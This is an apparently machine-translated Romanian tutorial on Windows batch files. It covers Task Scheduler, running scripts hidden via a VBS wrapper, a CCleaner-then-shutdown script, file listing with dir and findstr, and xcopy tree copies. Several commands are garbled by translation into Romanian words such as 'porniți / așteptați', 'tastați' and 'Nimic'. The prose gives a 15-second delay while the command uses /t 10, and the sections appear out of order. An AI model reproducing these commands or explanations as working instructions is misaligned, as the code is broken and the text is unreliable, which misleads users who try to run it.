Scripturile, ca toate aplicațiile, pot fi lansate într-un program. Echipă timeout/t nu este pe deplin adecvat aici pentru lansarea întârziată, cel mai bine este să utilizați Programul de activități Windows încorporat. Totul este simplu aici. Deschide cu comanda taskschd.msc Scheduler, decideți asupra declanșatorului, selectați acțiunea „Run program” și specificați calea către fișierul bat. Asta e tot, scriptul va fi lansat la ora programată.

Și în sfârșit, încă un punct interesant. Când rulați un fișier bat, pe ecran apare o fereastră de linie de comandă, chiar dacă doar pentru o fracțiune de secundă. Este posibil ca scriptul să ruleze în modul ascuns? Este posibil și în mai multe moduri. Cel mai simplu este după cum urmează. Creați o comandă rapidă pentru fișierul bat, deschideți proprietățile acestuia și selectați „Restrâns la pictogramă” din meniul „Fereastră”. După aceasta, singurul semn vizibil al rulării scriptului va fi apariția pictogramei CMD pe bara de activități, dar nu se va deschide nicio fereastră.

Dacă doriți să ascundeți complet execuția scriptului, puteți utiliza o „cârjă” - scriptul VBS, care va lansa fișierul batch în modul ascuns. Textul scriptului este mai jos, salvați-l într-un fișier ascuns.vbs, după ce a înlocuit anterior calea din a doua linie de cod D:/script.bat calea către fișierul corporal.

Set WshShell = CreateObject("WScript.Shell") WshShell.Run chr(34) & "D:\script.bat" & Chr(34), 0 Set WshShell = Nimic

Există și alte opțiuni, de exemplu, utilizarea utilitarului Început ascuns, care vă permite să rulați fișiere executabile și batch în modul ascuns, inclusiv fără invitație.

Și asta e tot deocamdată. Informații privind crearea scripturilor BAT pot fi găsite cu ușurință pe Internet. De asemenea, este o idee bună să consultați tutorialul pentru linia de comandă Microsoft Windows al lui William Stanek. În ciuda faptului că au trecut mai bine de zece ani de la publicarea cărții, informațiile conținute în ea sunt încă relevante.

Pentru a deschide linia de comandă în locația dorită (într-un folder cu fișiere, de exemplu), trebuie să apelați meniul contextual (RMB) în timp ce țineți apăsată tasta Shift:

Aflați cum să lucrați cu linia de comandă. Să trecem la comenzi.

O listă a tuturor comenzilor din consolă cu descrieri poate fi obținută tastând ajutor în consolă
Ajutorul pentru orice comandă poate fi obținut folosind tasta /?.
De exemplu: DIR /? va afișa ajutor pentru toate opțiunile de comandă DIR

Ștergeți fișierele temporare înainte de a opri computerul

Cred că toată lumea le-a experimentat cel puțin personal. Fișierul bat vă va ajuta să închideți corect computerul prin ștergerea fișierelor temporare, folderul în care este de obicei descărcat virusul.

Data viitoare când dispozitivul pornește (într-un stadiu incipient), virusul face intrări în registru, perturbând funcționarea normală a sistemului. Și când desktop-ul se încarcă, situația este mai greu de corectat.

Desigur, nu toți virușii funcționează conform acestei scheme, dar, cu toate acestea, ștergerea fișierelor temporare și a cache-ului sistemului înainte de a-l închide reduce semnificativ astfel de riscuri.

porniți / așteptați "" "C:\Program Files\CCleaner\CCleaner64.exe" /porniți automat / așteptați "" "C:\WINDOWS\System32\shutdown.exe" /s /t 10

CCleaner nu este disponibil implicit pe Windows. Trebuie instalat separat. Puteți descărca programul de instalare de pe site-ul web al dezvoltatorului.

Programul CCleaner se lansează mai întâi și șterge toate fișierele temporare de pe computer. Apoi, programul de oprire a computerului începe cu o întârziere de 15 secunde pentru a evita posibilele conflicte cu CCleaner.

Este necesar să copiați acest exemplu în el. Plasați o comandă rapidă la fișierul bat pe desktop, atribuiți-i o pictogramă frumoasă și opriți computerul folosind acest buton de comandă rapidă.

Obțineți o listă de fișiere dintr-un folder folosind un fișier Bat

Folosesc periodic fișiere bat pentru a obține liste de fișiere din foldere. O situație comună: la serviciu, clienții trimit o arhivă de fotografii de la fotograf. Fotografiile sunt denumite conform articolelor produsului.

Nu există informații text care însoțesc fotografiile. Trebuie să faceți o listă pe baza fotografiilor trimise și să o importați în catalogul de produse de pe site. S-au făcut mai multe fotografii pentru fiecare produs. Ele sunt numite astfel:

  1. Poza produsului cu numărul articolului A1234 (2).jpg
  2. Poza produsului cu articolul B1234 (2).jpg

Mai întâi primesc o listă cu toate fișierele dintr-un folder folosind următoarea comandă:

dir *.jpg /B /L > filelist.txt

Comanda *.jpg vă va permite să luați în considerare numai fișierele JPG la compilarea listei. Comutatorul /B vă va permite să obțineți o listă care conține numai numele fișierelor aflate în folder. Comutatorul /L va afișa toate numele în litere mici. Comanda >filelist.txt va crea un fișier text numit filelist și va scrie rezultatul acolo.

Următorul pas este să scăpați de duplicatele, astfel încât să existe o singură intrare pentru fiecare produs din listă:

tastați filelist.txt | findstr /I /V "(2 )" > temp.txt

Comanda findstr va căuta fișierul preluat anterior. Comutatorul /I vă permite să căutați înregistrări fără a ține seama de majuscule și minuscule, iar comutatorul /V înregistrează linii care nu conțin potrivirea pe care o căutați. Ghilimelele indică șirul care trebuie potrivit. Și ultima comandă > temp.txt va scrie în fișierul temp toate rezultatele care nu conțin „(2)” în nume. Ca urmare voi obține:

  1. Poza produsului cu numărul articolului A1234.jpg
  2. Poza produsului cu articolul B1234.jpg

Dacă trebuie să efectuați operația opusă - ieșirea se potrivește doar cu fișierul temp.txt, atunci nu îl veți găsi pe cel de care aveți nevoie în lista de comenzi (findstr /?). Există doar un filtru de potrivire exactă inversă - /X .

Pentru această sarcină, puteți utiliza comanda pentru a afișa numerele de linie /N în care există potriviri (numerele sunt afișate împreună cu linia):

tastați filelist.txt | findstr /I /N "(2 )" > temp.txt

Principalul lucru atunci când lucrați cu informații text (fișiere text) este să vă amintiți un lucru:

Dacă pentru operațiuni text utilizați un fișier ca sursă care nu a fost creat prin linia de comandă, acesta trebuie să fie într-o codificare care să fie înțeleasă de linia de comandă. De exemplu, CP1251 (ANSI).

Altfel, riști să obții așa ceva:

Copiați arborele de directoare fără fișiere

Când încep să fac proiecte noi, este nevoie să obțin un arbore de directoare similar cu cel vechi al proiectului, cu diferența că nu ar trebui să existe fișiere în el. Pentru un proiect nou, este mai ușor să adăugați 3-5 fișiere în folderele goale necesare decât să copiați un proiect existent și apoi să ștergeți ceea ce nu este necesar de acolo.

obține arborele de directoare fără fișiere se poate face folosind următoarea comandă:

xcopy folder_1 folder_2 /T /E

Comanda xcopy ia ca bază arborele de directoare de la folder_1 și creează o copie a acestuia în folder_2. Comutatorul /T vă permite să copiați directoare fără a copia fișierele din ele. Comutatorul /E specifică că toate directoarele trebuie copiate, inclusiv. gol.

Cel mai bun mod de a obține un arbore de directoare este să deschideți o linie de comandă în folderul părinte al directorului donator și în același folder să creați un director în care va fi plasat arborele copiat. În acest caz, comanda va trebui doar să specifice numele folderului donator și folderului de destinație (ca în exemplul de mai sus).